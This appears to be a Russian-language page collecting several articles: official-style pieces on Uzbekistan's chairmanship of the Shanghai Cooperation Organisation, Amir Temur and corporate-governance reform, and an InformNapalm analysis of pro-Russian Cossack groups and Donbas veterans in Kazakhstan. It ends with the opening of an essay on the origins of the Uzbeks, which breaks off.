ШОС СЛУЖИТ БЛАГОРОДНЫМ ЦЕЛЯМ

SHOSВ соответствии с постановлением Президента Ислама Каримова “О подготовке и проведении заседания Совета глав государств-членов Шанхайской организации сотрудничества в городе Ташкенте, а также других мероприятий в рамках председательствования Республики Узбекистан в ШОС” от 21 января 2016 года в нашей стране ведется подготовка к проведению этого крупного мероприятия на высоком уровне. 

Шанхайская организация сотрудничества – это авторитетная международная организация, которая вносит весомый вклад в обеспечение благоустроенной жизни народов в наше стремительно меняющееся время. Вот уже на протяжении 15 лет государства-члены ШОС реализуют эффективные проекты по развитию политического, торгово-экономического, культурно-гуманитарного сотрудничества. Организация привлекает внимание мирового сообщества к предупреждению международного терроризма, экстремизма и наркотрафика, представляющих серьезную угрозу всему миру.

Узбекистан в третий раз председательствует в Шанхайской организации сотрудничества. Первый раз наша страна председательствовала в 2003-2004 годах. 17 июня 2004 года на саммите Совета глав государств-членов Шанхайской организации сотрудничества обсуждались два главных направления деятельности ШОС – вопросы безопасности и торгово-экономического сотрудничества.

На этом саммите Президент Ислам Каримов выдвинул конструктивные идеи и предложения о дальнейшем совершенствовании деятельности Шанхайской организации сотрудничества, борьбе против международного терроризма и религиозного экстремизма, укреплении экономического сотрудничества в регионе.

Глава нашего государства, оценивая положение дел в Центральной Азии, подчеркнул, что регион в силу своей геополитической и геостратегической значимости и богатейших запасов природно-экономических, минерально-сырьевых и, в первую очередь, углеводородных ресурсов продолжает оставаться в центре внимания мирового сообщества в контексте растущих угроз и вызовов безопасности и стабильности во всем мире. Он обратил особое внимание на вопросы, касающиеся процесса восстановления в Афганистане.

На прошедшем в Ташкенте саммите ШОС одним из актуальных вопросов было обсуждение ситуации в Афганистане. Следует отметить, что по инициативе Президента Узбекистана Ислама Каримова на Ташкентский саммит ШОС в качестве гостя впервые был приглашен руководитель временной администрации Афганистана тех лет Хамид Карзай и впоследствии это стало традицией. Несомненно, его непосредственное участие в процессе обсуждения сыграло важную роль в объективной оценке обстановки и принятии всесторонне оптимальных решений.

В рамках состоявшегося в 2004 году заседания Совета глав государств-членов Шанхайской организации сотрудничества важным историческим событием в деятельности ШОС стало открытие в Ташкенте постоянно действующего органа организации – Исполнительного комитета Региональной антитеррористической структуры. На нее была возложена задача разработки мероприятий по противодействию терроризму путем обмена информацией, координации сотрудничества специальных служб, усилению совместной борьбы против терроризма, экстремизма, сепаратизма, контрабанды наркотиков и оружия, распространения оружия массового уничтожения, предотвращению угроз международной и региональной безопасности.

Глава нашего государства отметил, что важнейшее условие успешной деятельности этой структуры – это общие и единые подходы и видение угроз и вызовов безопасности и стабильности в Центральноазиатском регионе и во всем мире. Он подчеркнул, что Узбекистан будет и впредь прилагать все усилия по созданию необходимых условий для успешной работы Региональной антитеррористической структуры.

Как подчеркнул Президент Ислам Каримов, в борьбе с терроризмом нельзя ограничиваться лишь устранением деструктивных сил и их баз, то есть применять только силу против этих угроз. Нужно вести непримиримую борьбу с центрами, отравляющими сознание людей, финансирующими терроризм. Эта борьба должна учитывать также политические, социально-экономические критерии. Отмечая на саммите эту необходимость, глава Узбекистана указал на отсутствие самого понятия «транзитное государство» в отношении террора и наркобизнеса.

В рамках ШОС регулярно проводятся переговоры между внешнеполитическими ведомствами, министерствами экономики и торговли, советами безопасности государств-членов. Накануне Ташкентского саммита 2004 года также проводились встречи руководителей этих ведомств, что способствовало развитию и активизации сотрудничества в рамках этой организации.

Актуальными остаются вопросы согласованности и координации действий по реализации проектов в области коммуникаций и транспорта, рационального использования водно-энергетических и сырьевых ресурсов, человеческого потенциала в интересах каждой отдельной страны и всего региона в целом. По предложению Ислама Каримова в рамках ШОС особое внимание было уделено привлечению в регион иностранного капитала и инвестиций, формированию для этого общих для всех стран региона условий и правил. В настоящее время выдвигаемые в рамках саммитов ШОС все предложения и подходы способствуют укреплению межгосударственного сотрудничества в различных сферах, повышению благосостояния народов.

На саммите обсуждались задачи совместного развития транспортной инфраструктуры, освоения запасов природных, минеральных ресурсов, рационального использования водно-энергетических ресурсов, решения экологических вопросов, в частности, проблем питьевой воды.

Узбекистан, уделяя большое внимание решению этих задач, поддерживает ранее выдвинутые идеи и предложения по реализации крупных транспортно-коммуникационных проектов, транспортных коридоров и маршрутов, проходящих через территорию Центральной Азии. Это способствует развитию торгово-экономических связей государств-членов ШОС со странами Европейского Союза, Южной и Юго-Восточной Азии. Осуществляются совместные экономические программы и проекты. Достигнутые в ходе переговоров и встреч соглашения значимы своими высокими практическими результатами.

Стоит отметить, что на саммите были приняты важные документы, касающиеся перспектив нашего региона. Были подписаны Конвенция о привилегиях и иммунитетах ШОС, Соглашение о сотрудничестве в борьбе с незаконным оборотом наркотических средств и психотропных веществ, Положение о статусе наблюдателя при ШОС, а также ряд документов касательно деятельности организации и ее органов. Заслуживает особого внимания, что в заседании впервые в качестве наблюдателей принимали участие представители Монголии. Это стало первым шагом в налаживании практического сотрудничества с государствами-наблюдателями при ШОС. Данный саммит занял особое место в истории ШОС высоким уровнем организации и достигнутыми практическими результатами в вопросах совместной борьбы с международным терроризмом и экстремизмом, укрепления экономического сотрудничества.

Принятые на саммитах этой организации документы служат укреплению мира и безопасности в регионе, дальнейшему развитию сотрудничества в культурно-гуманитарной, научной, экономической, инвестиционной и транспортно-коммуникационной сферах между государствами-членами ШОС, странами-наблюдателями и партнерами по диалогу, повышению эффективности деятельности организации.

 

В своей внешнеполитической стратегии Узбекистан придает особое значение ШОС

shos 2На пороге своего пятнадцатилетия Шанхайская организация сотрудничества (ШОС) прочно утвердилась на мировой арене в качестве авторитетной межгосударственной структуры. В условиях серьезных изменений в международной и региональной обстановке она зарекомендовала себя как эффективный механизм многостороннего сотрудничества. За минувшие годы создана солидная договорно-правовая база, налажена институциональная основа, стабильно функционируют структурные органы, обеспечивается последовательное расширение и углубление взаимодействия в различных направлениях.

В своей внешнеполитической стратегии Узбекистан придает особое значение ШОС, являющейся площадкой открытого и конструктивного диалога, и, будучи одним из государств-основателей Организации, принимает активное участие в ее деятельности. Узбекская сторона рассматривает ШОС как важный инструмент для сотрудничества в сферах борьбы с терроризмом и экстремизмом, незаконным оборотом наркотиков и оружия, организованной преступностью и распространением оружия массового уничтожения, поощрения взаимовыгодных экономических связей, партнерства в социальной и культурно-гуманитарной сфере.

Особо следует отметить результативность сотрудничества в рамках ШОС в области безопасности. Для этого созданы механизмы регулярных совещаний на различных уровнях, разработана солидная правовая база, регламентирующая взаимодействие государств-членов в обеспечении мира и стабильности в регионе. По инициативе Узбекистана в 2004 году был запущен механизм встреч секретарей советов безопасности стран, входящих в ШОС. Эти встречи проводятся на ежегодной основе.

В решении вопросов укрепления мира и спокойствия особую роль играет Региональная антитеррористическая структура (РАТС) ШОС, Исполнительный комитет которой расположен в Ташкенте. Ее основной целью обозначено содействие координации и взаимодействию государств-членов в борьбе с терроризмом, сепаратизмом и экстремизмом.

В рамках своего председательства в ШОС в 2004 и 2010 годах Узбекистан выдвинул ряд важных инициатив относительно усиления координации политики государств-членов перед лицом традиционных и новых угроз современности. Так, по инициативе нашей страны в 2004 году было подписано Соглашение о сотрудничестве в борьбе с незаконным оборотом наркотических средств, психотропных веществ и их прекурсоров, а в 2010 году – Соглашение о сотрудничестве в борьбе с преступностью.

Шанхайская организация сотрудничества служит фактором продвижения взаимовыгодного экономического обмена между государствами-членами. В данном направлении приняты и успешно претворяются в жизнь долгосрочные программы, заключены межгосударственные соглашения и договоренности.

Основными органами, ответственными за развитие торгово-экономического взаимодействия, являются Совет глав правительств (премьер-министров) государств-членов (СГП) ШОС и Совещание министров государств-членов Организации, отвечающих за внешнеэкономическую и внешнеторговую деятельность. Узбекистан председательствовал в данных структурах в 2007 и 2013 годах. В ходе встречи глав правительств в Ташкенте в 2007 году было принято решение об активизации связей в областях инвестиций, информационно-телекоммуникационных технологий, сельского хозяйства, охраны окружающей среды. По итогам переговоров также было подписано Соглашение между правительствами государств-членов ШОС о сотрудничестве и взаимопомощи в таможенных делах.

Наряду с этим, особое внимание уделяется всемерной поддержке прямых контактов бизнесменов, усилению взаимодействия в таких секторах, как транспорт, инфраструктура, банковско-финансовая сфера. Расширению связей в этих сферах способствует деятельность Делового совета и Межбанковского объединения ШОС.

В целях стимулирования торговых и инвестиционных связей идет работа по открытию Банка развития и Фонда развития (Специального счета) ШОС. В 2015 году принято решение о продолжении консультаций относительно создания указанных структур.

Позитивную динамику показывают культурно-гуманитарные связи. Осуществляется обмен в областях науки, технологий, туризма, здравоохранения, предупреждения и ликвидации чрезвычайных ситуаций.

29 ноября 2013 года в Ташкенте была принята Программа информирования об эпидемиологической ситуации, вызванной инфекционными заболеваниями на территории государств-членов ШОС. В этом году ожидается утверждение Программы о сотрудничестве в сфере туризма, работа над которой ведется на экспертном уровне.

Согласно нормам и правилам Шанхайской организации сотрудничества с 11 июля 2015 года Республика Узбекистан председательствует в ней. В качестве государства-председателя наша страна четко обозначила приоритеты своего видения деятельности ШОС, заявив о приверженности принципам преемственности и последовательного укрепления многопрофильного взаимодействия.

Исходя из этих постулатов, за минувший период Узбекистан совместно с другими странами ШОС проделал значительную по масштабам работу по дальнейшему укреплению потенциала Организации в решении проблем мирового и регионального характера, усилению координации и взаимодействия, повышению ее роли на мировой арене.

В результате предпринятых нашей страной усилий все больше государств проявляют интерес к ШОС и выражают желание установить с ней партнерские связи. Так, в сентябре 2015 года был подписан Меморандум о предоставлении Королевству Камбоджа статуса партнера по диалогу. 14 марта текущего года такой статус предоставлен Азербайджану. Планируется заключение аналогичного документа с Арменией и Непалом. Продолжается переговорный процесс по принятию в ШОС Республики Индия и Исламской Республики Пакистан – двух крупнейших государств Южной Азии.

В 2016 году в рамках председательства Узбекистана в Ташкенте планируется проведение заседаний Совета глав государств, Совета министров иностранных дел, встречи секретарей советов безопасности, Совещания министров культуры, а также заседаний Совета Межбанковского объединения и Правления Делового совета ШОС.

В настоящее время в республике полным ходом идет подготовка к проведению этих мероприятий на высоком уровне. Особое внимание уделяется наполнению содержательной части Ташкентского саммита, в том числе выработке пакета документов, которые будут приняты по его итогам. Ожидается подписание Ташкентской декларации пятнадцатилетия ШОС, Антинаркотической стратегии государств-членов ШОС на 2017-2022 годы и Программы действий по ее выполнению. Кроме того, планируется утверждение Плана мероприятий по реализации Соглашения о сотрудничестве в борьбе с преступностью, а также Плана реализации Стратегии развития ШОС до 2025 года.

Таким образом, Республика Узбекистан, будучи председателем ШОС вносит большой вклад в ее развитие, укрепление нормативно-правовой базы, повышение престижа этой структуры в мире. Нет сомнений и в том, что предстоящий Ташкентский саммит, проводимый в пятнадцатую годовщину со дня образования ШОС, не только станет центральным политическим событием года, но и откроет новую страницу в истории Организации.

 

Узбекистан вносит огромный вклад в реализацию приоритетов Шанхайской организации сотрудничества.

SHOSВ июле 2015 года Республика Узбекистан приняла председательство в Шанхайской организации сотрудничества. Принятие такой миссии совпало с 15-годовщиной образования ШОС, что придает особую важность и высокую ответственность нашей стране в повышении авторитета данной структуры и совершенствовании ее деятельности.

Узбекистан рассматривает эту организацию как равноправное объединение государств, механизм многостороннего сотрудничества, направленный на укрепление мира и стабильности в регионе, конструктивного партнерства по противостоянию угрозам региональной и международной безопасности, обеспечению устойчивого социально-экономического развития.

Как утверждают зарубежные эксперты и обозреватели, Узбекистан вносит огромный вклад в реализацию приоритетов Шанхайской организации сотрудничества. Инициативы Ташкента направлены, прежде всего, на достижение уставных целей и задач организации, развитие плодотворного взаимодействия с государствами-членами, странами-наблюдателями и партнерами по диалогу.

Наша республика, являющаяся одним из основателей организации, в качестве председателя намерена строго соблюдать принципы преемственности, а также последовательного продвижения взаимовыгодного сотрудничества, отвечающего интересам всех членов структуры. В частности, Узбекистан выступает за дальнейшее укрепление роли ШОС как эффективного института по противостоянию таким угрозам глобальной и региональной безопасности, как терроризм, религиозный экстремизм, сепаратизм, незаконный оборот наркотиков и оружия, транснациональная организованная преступность.

В деле упрочения практического взаимодействия в сфере борьбы с указанными вызовами и угрозами безопасности наша страна придает важное значение дальнейшему совершенствованию деятельности Региональной антитеррористической структуры (РАТС) ШОС, созданной в 2004 году в Ташкенте для координации совместной работы государств-членов в данном направлении.

Узбекистан также поддерживает сохранение избранного курса ШОС, согласно которому ее деятельность не направлена против интересов других стран, что закреплено в Хартии и других уставных документах организации. Именно об этом на Уфимском саммите в 2015 году говорил Президент нашей республики Ислам Каримов, подчеркнув важность исключения блокового мышления и недопущения превращения ШОС в военно-политический альянс. Руководитель Узбекистана также отдельно отметил необходимость еще большего укрепления приверженности тем принципам и целям, во имя чего и была создана организация.

Государства-члены объединения обладают экономическим потенциалом, имеют необходимый опыт, ресурсы и главное – политическую волю для практической реализации трансграничных инфраструктурных, высокотехнологичных и социальных программ, осуществление которых даст мощный толчок развитию всех стран региона.

В этой связи Узбекистан отводит особое место экономической составляющей деятельности Шанхайской организации сотрудничества, выступает за активизацию контактов по разработке и реализации взаимовыгодных совместных проектов, формированию для этих целей соответствующих финансовых инструментов, в том числе Банка развития ШОС. Создание многосторонних механизмов финансирования приоритетных социально-экономических и инфраструктурных программ в рамках организации позволит более эффективно решать общие задачи.

В условиях продолжающегося мирового финансово-экономического кризиса, медленного оздоровления мировых рынков укрепление взаимовыгодного торгово-экономического сотрудничества, наращивание контактов в рамках специализированных механизмов ШОС и использование их потенциала для усиления экономического сотрудничества становятся наиболее важными задачами нашей страны в период председательства. В частности, в рамках реализации поставленных в данном направлении целей планируется проведение в Ташкенте заседания Делового совета и ряда мероприятий Межбанковского объединения ШОС.

Узбекистан является сторонником реализации на пространстве ШОС инвестиционных программ по налаживанию и модернизации автомобильных, железнодорожных коммуникаций и воздушного сообщения как внутригосударственного, так и трансграничного значения. В этом плане важнейшим стратегическим направлением является разработка и реализация таких маршрутов, которые могли бы связать Центральную Азию и Китай с европейским и мировым рынками, создавая тем самым благоприятные условия для дальнейшего развития социальной и промышленной инфраструктуры стран ШОС, обеспечения широкомасштабного притока в регион иностранных инвестиций.

Более того, строительство автомобильных и железных дорог и связанных с ними логистических центров, учитывая их большую трудоемкость, может стать мощным источником занятости и доходов местного населения. Решение в комплексе всех этих вопросов может превратиться в один из основных составляющих прогресса и повышения устойчивости социально-экономического развития региона.

Следует отметить, что Узбекистан считает важным более активное использование ресурсов и рынков стран-наблюдателей ШОС, что может способствовать укреплению взаимовыгодного торгового и делового сотрудничества, поступательному социально-экономическому прогрессу.

Исходя из вышеизложенного, с полной уверенностью можно сказать, что предстоящий в Ташкенте юбилейный 15-й саммит ШОС откроет новую страницу в истории развития данной организации, способствуя дальнейшему укреплению многостороннего сотрудничества во имя сохранения мира и стабильности в регионе, обеспечения процветания стран-участниц.

 

 

Гордость узбекского народа Амир Теймур

 

teymur lengОбретение Узбекистаном независимости позволило восстановить историческую справедливость, возродить имена наших великих предков и их богатое наследие. Особое место в этом ряду занимает ставший символом отваги, смелости и мудрости, национальной гордости узбекского народа Сахибкиран Амир Темур.

Сквозь многие века столь же ярко светит для сегодняшних поколений звезда Амира Темура, оставившего неизгладимый след в мировой истории. Его жизненный путь служит примером для молодых граждан нашей страны, которые стремятся стать его достойными наследниками.

Выдающийся полководец и политический стратег построил мощное централизованное государство в Мавераннахре, основанное на верховенстве закона и уважении к традициям. Мудрый политик, обладавший обширным кругозором и тонким аналитическим умом, Амир Темур вошел в историю, прежде всего, как созидатель. Он объединил вокруг себя лучших деятелей науки и культуры, искусных зодчих, строителей и мастеров, чьи прекрасные творения должны были служить показателем мощи государства. Именно при нем были построены величественные памятники архитектуры, которые по сей день вызывают бесконечную гордость у наших соотечественников, большой интерес и восхищение у зарубежных гостей.

Сахибкиран активно занимался и законотворческой деятельностью. В труде под названием «Уложения Темура» изложены его видение наиболее эффективного государственного устройства и основополагающие принципы управления страной. Листая страницы трактата, нельзя не восхищаться личными качествами и волевым характером Амира Темура. Вот лишь некоторые его изречения: «Слово свое подкреплял делом и ни к кому не проявлял черствости, ни в каком деле не выказывал суровости, дабы не подвергнуться гневу. С друзьями и недругами обращался обходительно… Если кто-либо из друзей или недругов приходил ко мне с просьбой, я так обращался с друзьями, что дружба их возрастала еще более, а к врагам у меня было такое отношение, что их вражда превращалась в дружбу». В «Уложении» также встречаем известную фразу: «Один предприимчивый, мужественный, доблестный, решительный и благоразумный человек лучше тысячи нерадивых и безвольных. Ибо один опытный лучше управляет тысячами людей».

Благородные принципы нашего великого предка, положенные в основу строительства могущественного государства, справедливого общества, укрепления атмосферы великодушия и добра, обеспечения благосостояния населения сегодня превратились в основной критерий социально-экономической жизни современного Узбекистана.

По инициативе Президента Ислама Каримова в 1996 году широко отмечался 660-летний юбилей Амира Темура. Этот год в стране был назван его именем. Под эгидой ЮНЕСКО были организованы международные конференции и выставки. В Ташкенте, Самарканде и Шахрисабзе воздвигнуты памятники Сахибкирану. В нашей стране много улиц, парков и других географических объектов носят его имя. Восстановлены и несколько раз переиздавались «Уложения Темура» как уникальный источник изучения истории национальной государственности. Накануне 675-летия Сахибкирана вышло в свет обновленное издание этой книги с предисловием главы Узбекистана.

Наряду с этим, в столице Ташкенте был открыт Государственный музей истории Темуридов, являющийся неисчерпаемым кладезем духовности, хранителем древних реликвий и настоящих шедевров искусства, имеющих огромную историческую ценность. В его фондах хранятся уникальные предметы, среди которых рукописные книги, письма, монеты, керамические, бронзовые и медные изделия, образцы декора, манускрипты, предметы этнографии, серебряные украшения и многие другие. За время существования музея были проведены многочисленные выставки, посвященные эпохе Темуридов. В их числе такие значимые экспозиции, как «Самарканд-2750», «Подарки», «Жизненный путь Амира Темура», «Ренессанс эпохи Темуридов», «Шохрухия – памятник созидательной деятельности Темуридов». Они повествуют о различных аспектах многогранной и созидательной деятельности великого государственного деятеля, что может послужить яркой иллюстрацией для нравственного воспитания молодого поколения в духе независимости, пробуждения национального самосознания, изучения богатых традиций народа, древних ценностей, уважительного и бережного отношения к бесценному наследию предков.

Особого внимания также заслуживает тот факт, что именем Амира Темура, символизирующим для его потомков независимость и справедливость, национальную гордость и беззаветную преданность Родине, назван орден. Он занял особое место в ряду высоких государственных наград, учрежденных в нашей стране в годы независимости. За большие заслуги в укреплении государственности, развитии военного дела им награждаются граждане Узбекистана, а также лица, не являющиеся гражданами нашей страны, внесшие большой вклад в укрепление межгосударственного сотрудничества, мира и дружбы между народами. Кроме того, в отдельных случаях его обладателями могут стать предприятия, учреждения, организации, общественные объединения, творческие коллективы и воинские подразделения, а также административно-территориальные единицы республики.

Орден «Амир Темур» представляет собой восьмиконечную звезду с двухгранными лучами. В его центре изображена величественная фигура Сахибкирана, восседающего на коне. Также следует обратить внимание на надпись вокруг изображения: «Сила в справедливости». Этот принцип заложен в основу и современной внутренней и внешней политики нашего государства. Орден будет оставаться для нас источником силы в достижении благородных целей, символом свободы, выражения уважения и почтения к выдающимся предкам.

Заслуги Амира Темура достойно оценивают не только жители нашей республики, но и весь просвещенный мир, отмечающий в эти дни его 680-летний юбилей. Жизнь и деятельность одной из величайших личностей в истории человечества, «Спасителя Европы», как его называют в ряде европейских летописей, привлекают внимание все больше исследователей, деятелей искусства и культуры за пределами Узбекистана. В более чем 50 странах мира ведут исследования ученые-темуроведы. О Сахибкиране издано более 900 работ на европейских, более тысячи – на восточных языках. В архивах и библиотеках Венеции, Испании, Франции, Великобритании хранятся письменные сведения о дипломатической переписке выдающегося государственного деятеля и его преемников со многими странами мира.

Таким образом, бесценное наследие Амира Темура является источником силы и энергии мужественного, трудолюбивого узбекского народа для построения государства с великим будущим. Ярким тому подтверждением являются осуществляемые реформы по возвеличиванию человека, соблюдению принципов справедливости во всех сферах и их весомые результаты.

Корпоративное управление в Узбекистане

uzbekistan qerbОдним из важных направлений Программы реформирования, структурных преобразований и диверсификации экономики на 2015-2019 годы является обеспечение надежной защиты интересов частного предпринимательства и малого бизнеса, повышение роли частной собственности и поступательное сокращение присутствия государства в экономике.

В данном контексте важное значение приобретает внедрение современных методов корпоративного управления, способствующих повышению эффективности деятельности акционерных обществ в стране и углублению процессов приватизации. Принципиально важным шагом в совершенствовании системы корпоративного управления стали Указ Президента Республики Узбекистан «О мерах по внедрению современных методов корпоративного управления в акционерных обществах» от 24 апреля 2015 года и Постановление «О дополнительных мерах по привлечению иностранных инвесторов в акционерные общества» от 21 декабря 2015 года. Данные документы определили основные задачи по оптимизации деятельности последних.

Следует отметить, что на сегодняшний день в Узбекистане уже проведена значительная работа в данном направлении. В частности, сформирована нормативно-правовая база корпоративного управления, во всех акционерных обществах созданы органы корпоративного управления, функционируют организации, оказывающие консалтинговые услуги, приняты соответствующие решения правительства по ускорению процессов внедрения систем управления качеством на предприятиях.

На основе вышеуказанных документов в 2015 году проведена полная инвентаризация деятельности всех акционерных обществ республики. Наряду с этим разработана и утверждена новая типовая структура АО. Ликвидированы старые и внедрены новые подразделения и должности. Осуществлены меры по назначению на руководящие посты молодых, хорошо образованных местных и иностранных специалистов, на практике владеющих навыками современного менеджмента и маркетинга.

Особое внимание уделяется широкому привлечению в хозяйствующие субъекты иностранных инвесторов, созданию благоприятных условий для их активного участия в корпоративном управлении, модернизации, техническом и технологическом перевооружении производства. В этих целях введен порядок, согласно которому в уставном капитале АО доля зарубежных акционеров должна составлять не менее 15%.

Важное значение в процессе реформирования имеют вопросы подготовки кадров для сферы. В данном контексте следует отметить деятельность Научно-образовательного центра корпоративного управления, где за короткий период с участием ведущих зарубежных специалистов было организовано повышение квалификации около 160 руководителей АО, банков и предприятий Узбекистана. Более половины из них прошли стажировку в лучших корпорациях Европы для близкого изучения международного опыта в данном направлении.

В процессе внедрения инновационных методов управления бизнес-процессами изучается опыт развитых стран мира, в частности, Германии. В 2015 году совместно с немецкой компанией Indecon Consulting был разработан проект Кодекса корпоративного управления, который утвержден 16 февраля 2016 года.

Принятый Кодекс призван служить в качестве сборника рекомендаций для всех акционерных обществ в процессе внедрения международных стандартов прозрачной деятельности, повышения ответственности директорского корпуса, усиления роли миноритарных акционеров в управлении предприятиями.

По случаю принятия Кодекса 23 февраля текущего года в Ташкенте была проведена международная конференция на тему «Кодекс корпоративного управления – эффективный инструмент внедрения стандартов корпоративного управления». Основными целями данной конференции стали разъяснение и обсуждение современных тенденций совершенствования сферы в республике и зарубежных странах, ключевых направлений и положений Кодекса, направленных на повышение эффективности управления акционерными обществами, задач и практических рекомендаций по ускорению внедрения в деятельности АО соответствующих международных стандартов и норм.

В мероприятии наряду с национальными экспертами и руководителями акционерных обществ и совместных предприятий приняли участие и представители таких международных финансовых институтов, как Всемирный банк, Азиатский банк развития, Международная финансовая корпорация, Программа развития ООН, а также дипломатический корпус в Узбекистане и зарубежные специалисты.

По оценкам участников конференции, разработанный Кодекс корпоративного управления обобщает лучшую мировую практику, адаптированную для применения в акционерных обществах республики, а его успешная реализация будет способствовать внедрению и дальнейшему совершенствованию в компаниях и фирмах Узбекистана основных принципов корпоративного менеджмента, обеспечению прозрачности деятельности АО и СП, защите прав и законных интересов акционеров.

По итогам докладов и обсуждений на международной конференции были приняты рекомендации для скорейшей реализации документа в целях достижения баланса интересов органов управления АО, акционеров и трудового коллектива. Кроме того, отмечалась необходимость определения в качестве стратегических целей акционерного общества поддержание финансовой устойчивости, повышение производительности труда, рост показателей производства и экспорта, достижение энергоэффективности, осуществление модернизации, технического и технологического обновления производств.

Таким образом, предпринимаемые в Узбекистане меры по внедрению эффективных форм менеджмента являются последовательными и продуманными шагами, направленными на дальнейшую либерализацию рыночной экономики посредством реформирования, структурных преобразований и диверсификации экономики. Несомненно, они будут способствовать повышению предпринимательской активности, привлечению иностранных инвестиций и дальнейшему экономическому росту.

 

ИА «Жахон»


В Республике Казахстан ухудшается военно-политическая обстановка и растут риски дестабилизации ситуации пророссийскими силами.

Kazakhstan-mapВ Республике Казахстан ухудшается военно-политическая обстановка и растут риски дестабилизации ситуации пророссийскими силами.

Виталий Соколенко специально для InformNapalm

Анализ активности пророссийских движений в Казахстане свидетельствует о существенном росте угроз для действующей власти этой страны, возникших за последние 1,5 года. На сегодняшний день на территории Казахстана сформированы условия для запуска сценариев, аналогичных крымскому. Их реализация может быть осуществлена в случае ухудшения внутриполитической ситуации в РФ либо  резкого изменения режима в Казахстане (РК).

Рост угроз для РК обусловлен возвращением граждан Казахстана, получивших опыт ведения боевых действий на территории оккупированного Донбасса, а также ростом политической активности пророссийских казачьих объединений в Казахстане.

Данные о гражданах Казахстана, принимавших участие в боевых действиях в зоне АТО на стороне бандформирований, собранные InformNapalm, демонстрируют характерную географическую привязку: указанные лица, как правило, проживают в населенных пунктах вблизи границ с Российской Федерацией, где наблюдается высокая активность казачьих организаций и значительна доля этнических  русских.

На фото: пророссийский террорист из Казахстана Нурлан Игенов

На фото: пророссийский террорист из Казахстана Нурлан Игенов

Из общего массива проанализированных данных об участниках бандформирований из числа граждан Казахстана следует, что около 26% из них являются выходцами из населенных пунктов Восточно-Казахстанской области (в основном из Усть-Каменогорска), 17% – жители Алматы. Также повышенная вовлеченность граждан Казахстана в боевые действия в Украине на стороне пророссийских бандформирований характерна  для Астаны, Костаная, Караганды, Петропавловска.

На фото: террорист из Казахстана Тимур К. и один из лидеров "ДНР" Денис Пушилин

На фото: террорист из Казахстана Тимур К. и один из главарей «ДНР» Денис Пушилин

Кроме казачьих организаций, вербовочная работа по комплектации групп для участия в боевых действиях на Донбассе на стороне бандформирований осуществляется на базе представительств Русского национального единства (РНЕ), а также страйкбольных клубов в крупных городах.

Обращает на себя внимание достаточно высокое участие эксвоеннослужащих Вооруженных сил Казахстана в НВФ на территории Донбасса. Среди этих вчерашних военных можно встретить бывших бойцов специальных подразделений ВС Казахстана, в частности горно-егерского батальона (в/ч 91678). По нашим оценкам, на сегодняшний день в рядах ВС Казахстана присутствует значительное (не менее 15%) количество пророссийских элементов, в том числе среди офицерского состава. Вероятность перехода целых частей под флаг РФ в случае начала активных действий со стороны Кремля в некоторых областях (например, в Восточно-Казахстанской области) достаточно высока.

Очевидной тенденцией является ставка российского военно-политического руководства на общественно-политические движения казаков на территориях вблизи казахстано-российских границ.

7 февраля прошел отчетно-выборный съезд Координационного совета русских, казачьих и славянских организаций Казахстана под руководством Юрия Захарова (Юрий Захаров и полковник Союза казаков Казахстана Асылхан  Артыкпаев были в качестве наблюдателей-экспертов в Крыму и в Севастополе во время проведения «референдума». – Прим. ред.). На этом форуме был рассмотрен вопрос избрания депутатов Мажилиса Парламента от казаков. Делегаты съезда по завершении своего форума приняли резолюцию, состоящую из следующих пунктов:

  • Требование обеспечить реальное соблюдение конституционного статуса русского языка и неукоснительное соблюдение законодательства о языках, а также выработать меры дисциплинарного воздействия вплоть до увольнения чиновников всех рангов за нарушение законов и Конституции Республики Казахстан. Данное требование провоцирует признание Астаной фактов дискриминации русскоязычного населения, а также направлено на подавление национального и патриотического движения в РК руками казахстанских властей.
  • Требование законодательно закрепить пропорциональное национальное представительство в органах всех ветвей государственной власти. Требование предусматривает внесение изменений в Конституцию РК, которые противоречат действующим нормам, не предоставляют преимущества по вероисповеданию, национальному, половому, социальному признакам и вводят квоты для пророссийских представителей в законодательном органе.
  • Передать русские драматические театры районов, областей и городов Алматы и Астаны в качестве культурных центров на баланс Координационного совета с сохранением бюджетного финансирования. Пункт отвечает положениям Стратегии национальной безопасности РФ об использовании культурного направления для экспансии РФ на постсоветском пространстве.
  • На государственных телеканалах выделить время организациям Координационного совета и всем национальным диаспорам Казахстана для популяризации общественной жизни, культуры, языка. Это время должно предоставляться с учетом национально-пропорционального представительства народов в тех или иных регионах государства.Выполнение данного пункта приведет к монополизации пророссийскими организациями телевещания и контента в ряде регионов, где существуют угрозы сепаратизма.
  • Увеличить квоту депутатов Парламента от Ассамблеи народа Казахстана до 30 мест с отведением одной трети от этого числа для представителей Координационного совета русских, казачьих и славянских организаций Казахстана. Из числа назначаемых президентом Республики Казахстан членов Сената Парламента закрепить 5 мест для активистов Координационного совета русских, казачьих и славянских организаций Казахстана.
  • Официально признать казаков народом в Республике Казахстан.
На фото пророссийский террорист из Казахстана Голиков Святослав. Участвовал в захвате ВР Крыма.

На фото: пророссийский террорист из Казахстана Святослав Голиков. Участвовал в захвате ВР Крыма.

Политика Астаны не препятствовала тому, что за последние 10 лет различные казачьи союзы, изначально созданные как культурно-этнографические общества, стали полувоенными организациями, имеющими четкую пророссийскую политическую направленность. Некоторые из таких казачьих организаций принимали участие в действиях РФ по аннексии Крыма в 2014 году. Эти организации подвергают сомнению суверенитет и национальную идентичность Казахстана. Так, на многочисленных информационных ресурсах казачества (например, «Казачья сеть») РК именуется как «так называемое государство Казахстан»), а риторика в отношении идентификации казахского народа близка к пророссийской риторике в период дестабилизации ситуации на Донбассе и попытки создать так называемую Новороссию.

В настоящее время Кремль предпринимает усилия для запугивания руководства Республики Казахстан, чтобы оно не предпринимало никаких действий для ликвидации потенциальных угроз. Это позволит пророссийским организациям в стране укрепить свои позиции. В то же время события в Крыму и на Донбассе продемонстрировали, что отсутствие сопротивления при первых признаках внешнего вмешательства не ведет к отказу от агрессии, а напротив, способствует ускоренной реализации негативного сценария.

Виталий Соколенко, InformNapalm

 

 

Происхождение узбеков

uzbek-drevniy kostyumПредисловие.
Я, изучив вопросы о происхождении узбеков и узбекских государств, начиная с 15 марта 2010 года, опубликовал по этим вопросам ряд статей на страницах сайта ЦентрАзия и других популярных интернет и научных изданий постсоветских стран и, прежде всего РФ [1-12]. В них я освещал и вопросы происхождения таджиков и сартов, а также другие политические, экономические и территориальные вопросы, затрагивающие национальные интересы Узбекистана. По этим вопросам, как на сайте ЦентрАзия, так и на сайтах других популярных интернет-изданий РФ и постсоветских стран, в полемику со мной вступали историки соседних стран, экономисты, политологи и журналисты, представители узбекской оппозиции, эмигрировавшие в зарубежные страны и т.д.

